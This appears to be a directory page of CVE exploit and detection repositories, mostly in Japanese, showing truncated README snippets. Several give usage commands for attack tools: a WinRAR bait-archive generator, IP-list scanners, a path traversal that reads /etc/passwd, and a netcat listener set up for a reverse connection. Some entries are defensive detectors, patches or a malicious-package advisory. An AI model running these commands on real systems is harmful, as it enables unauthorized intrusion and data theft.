CVE-2024-6387

CVE-2024-6387 スクリプトのインストールと実行 💻 前提条件 開始する前に、お使いのマシンに以下のツールがインストールされていることを確認してください。 Python 3.x Git pip （Pythonの依存関係管理用） インストール手順 1. リポジトリをクローンする git を使用してリポジトリをクローンします。 git clone https://github.com/dream434/CVE-2024-6387 2. プロジェクトディレクトリに移動する cd CVE-2024-6387 3. アプリケーションを起動する python CVE-2024-6387.p...

CVE-2024-23692-EXP

CVE-2024-23692-EXP bash CVE-2024-23692.sh Nuclei nuclei -list target.txt -t CVE-2024-23692.yaml -o CVE-2024-23692-result.txt...

CVE-2023-38831-winrar-exploit

CVE-2023-38831 winrar エクスプロイトジェネレーター クイック PoC テスト テスト用のデフォルト PoC を生成します python cve-2023-38831-exp-gen.py poc or python cve-2023-38831-exp-gen.py CLASSIFIEDDOCUMENTS.pdf script.bat poc.rar カスタム 1. ベイトファイルと（悪意のある）スクリプトファイルをカレントディレクトリに配置します。ベイトファイルは画像（.png, .jpg）またはドキュメント（.pdf）を推奨します。 2. python...

CVE-2024-24919

CVE-2024-24919 使用法 Usage: ./CVE-2024-24919.sh -i -p -f -i でIPを指定 ./CVE-2024-24919.sh -i 190.XXX.XXX.XXX -f で複数のIPを確認 ./CVE-2024-24919.sh -f uniq.txt ファイル例 192.168.0.1 192.168.0.2 192.168.0.3 ... 192.168.0.20...

xz-cve-2024-3094

root@ubuntu:/xz/ apt update root@ubuntu: /xz/ apt install -y gcc g++ vim net-tools make cmake build-essential libncurses-dev flex bison libssl-dev libelf-dev bc liblz4-tool liblz4-dev liblzma-dev ... ... root@ubuntu:/xz/ bash ./decode.sh root@ubuntu: /xz/ tar xf xz-5.6.1.tar.xz && cd xz-5.6.1...

CVE-2021-36934

CVE-2021-36934 使用方法 検出 .\Get-HiveNightmareStatus.ps1 True/False 出力が必要な管理ツール向けの検出 .\Get-HiveNightmareStatus.ps1 -PostureCheck 修復 For initial SAM fixes and vss removal .\Get-HiveNightmareStatus.ps1 -Remediate Remediate even if the checks say healthy or are partial .\Get-HiveNightmareStatus.ps1...

CVE-2025-68926-repo

CVE-2025-68926-repo 用于漏洞 CVE-2025-68926 的脚本和 node.proto...

CVE-2022-41099-Fix

このスクリプトに関する責任および保証は負いません。使用前に十分にテストしてください。 CVE-2022-41099-Fix CVE-2022-41099 を修正するために WINRE.WIM ファイルを更新します 参照: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-41099 Microsoft カタログ: https://www.catalog.update.microsoft.com/Search.aspx?q=kb5022282 独自の WINRE.wim ファイルを作成する必要があります。 Intu...

CVE-2020-12625

CVE-2020-12625: Roundcube Webmail における悪意のある HTML 添付ファイルを介したクロスサイトスクリプティング クロスサイトスクリプティング（XSS）の脆弱性が、Roundcube の 1.4.4、1.3.11、1.2.10 より前のバージョンに存在します。 攻撃者は、"text/html" 添付ファイルを含むメール内の "" XML 要素を利用することで、Roundcube のスクリプトフィルタをバイパスし、悪意のあるメールがクリックされたときに被害者のブラウザ上で任意の悪意のある JavaScript を実行できます。 ベンダー開示:...

CVE-2022-37706

説明 出典: https://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2022-37706。 動作確認環境: Distributor ID: Ubuntu Description: Ubuntu 20.04.6 LTS Release: 20.04 Codename: focal 使用方法 1. エクスプロイトを脆弱なマシンにコピー/アップロードします。 2. コマンド bash ./exploit.sh を実行します。...

CVE-2023-36845

注記 : !CAUTION ⚠️ 免責事項: 重要: このスクリプトは教育、倫理的テスト、および合法的な使用のみを目的として提供されています。明示的な許可なしにシステムやネットワークで使用しないでください。コンピュータシステムやネットワークへの不正アクセスは違法であり、不正行為を行ったユーザーは法的措置の対象となります。作者は、このスクリプトの誤用によって生じたいかなる損害についても責任を負いません。...

CVE-2025-31161_exploit

CVE-2025-31161 / CVE-2025-2825 Pythonエクスプロイト 単一のURLを処理するには、次のコマンドを使用します: python3 script.py -u http://example.com URLのリストを含むファイル（1行に1つのURL）を処理するには、次のコマンドを使用します: python3 script.py -l urls.txt スレッド数を指定するには、-tフラグを使用します。 スクリプトの結果（レスポンスに「crushadmin」という文字列を含むURL）は、output.txtファイルに書き込まれます。...

CVE-2024-36401

CVE-2024-36401 CVE-2024-36401の脆弱性チェック用のプログラムです。 使い方 まず、以下コマンドを実行し、通信の待ち受け状態にしてください。 nc -lvnp 9000 その後、別のウィンドウのターミナルでファイルを実行して下さい。 python CVE-2024-36401.py --target example.com --targetport 8080 --myip 172.26.16.100 --myport 9000 --target 相手のドメインまたはIPアドレス --targetport 相手のサービスをホストしているポート番号 --myip...

CVE-2012-2982

CVE-2012-2982 OstojaOfficial ユーザーによるオリジナルから改良された、CVE-2012-2982 Webmin 1.580 向けの Python POC これはオリジナルスクリプトの改良版で、ユーザーがスクリプト全体を確認しなくてもデータ入力の形式を確認できるようにしています。そのために、コードの該当セクションを先頭に移動しただけです。 同時に、スクリプトが実行され続けるのを防ぐための終了命令 sys.exit1 が追加されています。 また、エクスプロイトを呼び出す時点で、Webmin 1.580...

Malicious code in anthropic-sdk (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 500869e36b3f76202b63e8db9087adcfc42c8281a27a4402a21285aabde7a511 The package publishes as anthropic-sdk and re-exports the official anthropic client's symbols from anthropic import ; re-exports of...

MAL-2026-17472 Malicious code in anthropic-sdk (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 500869e36b3f76202b63e8db9087adcfc42c8281a27a4402a21285aabde7a511 The package publishes as anthropic-sdk and re-exports the official anthropic client's symbols from anthropic import ; re-exports of...

CVE-2023-1545

CVE-2023-1545 CVE-2023-1545を利用した、バージョン3.0.0.23より前のTeampass向けのシンプルなSQLインジェクションPythonスクリプトです。詳細はこちらのブログをご覧ください。 使用方法 Teampassが実行されているURLを唯一の引数として指定するだけです: python3 CVE-2023-1545.py http://example.com:8080 免責事項 倫理的な目的にのみ使用してください :...

CVE-2021-44228---detection-with-PowerShell

PowerShellによるCVE-2021-44228の検出 1 automatedscan.ps1を開き、変数$ResultsCSVと$Directoryを設定します 2 ファイルを保存して閉じます 3 管理者としてPowerShellを開き、次のコマンドを実行します: powershell.exe -noprofile -executionpolicy bypass -file .\automatedscan.ps1...

xz_cve-2024-3094_detection

xzcve-2024-3094detection CVE-2024-3094 を検出するスクリプト。 クレジット: https://github.com/cyclone-github/scripts/blob/main/xzcve-2024-3094-detect.sh...

CVE-2021-41773

CVE-2021-41773 CVE-2021-41773のPoC - CGIが有効なApache 2.4.49 使用方法 : chmod -x CVE-2021-41773.sh ./CVE-2021-41773.sh http://ip:port/ /etc/passwd 参照 https://nvd.nist.gov/vuln/detail/CVE-2021-41773 https://vulners.com/cve/CVE-2021-41773...